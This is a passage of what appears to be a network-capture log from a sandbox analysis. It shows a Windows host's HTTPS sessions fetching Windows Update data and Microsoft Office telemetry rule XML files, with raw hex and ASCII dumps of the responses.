2024-11-23 02:21:00 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-23 02:21:00 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-23 02:21:00 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-23 02:21:00 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-23 02:21:00 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-23 02:21:00 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-23 02:21:00 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-23 02:21:00 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-23 02:21:00 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:01 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=uMudn9COvFFTZ92&MD=6mTV+hOs HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 02:21:02 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 6704e0a9-0e2a-4b68-99c7-7b33afdd0409 MS-RequestId: afb3cc58-2eab-4239-b295-a58d386e546b MS-CV: by/1E7BK00ewgu7d.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 02:21:01 GMT Connection: close Content-Length: 30005
2024-11-23 02:21:02 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-23 02:21:02 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.4	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:02 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:02 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: cbab64bb-001e-000b-3f4c-3c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022102Z-15b8b599d8885prmhC1TEBsnkw00000002ag00000000hupk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:02 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.4	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:02 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:02 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022102Z-174c587ffdfb74xqhC1TEBhabc00000002bg000000004k00 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:02 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.4	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:02 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:02 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: d4aa3518-701e-0098-625d-3c395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022102Z-15b8b599d88m7pn7hC1TEB4axw00000002bg0000000099nk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:02 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:02 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:02 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022102Z-178bfbc474b7cbwqhC1NYC8z4n00000003ug000000002hqf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:02 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:02 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:02 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 1c744767-001e-0082-6060-3b5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022102Z-178bfbc474bgvl54hC1NYCsfuw00000003q000000000s7a8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:02 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49743	13.107.246.63	443

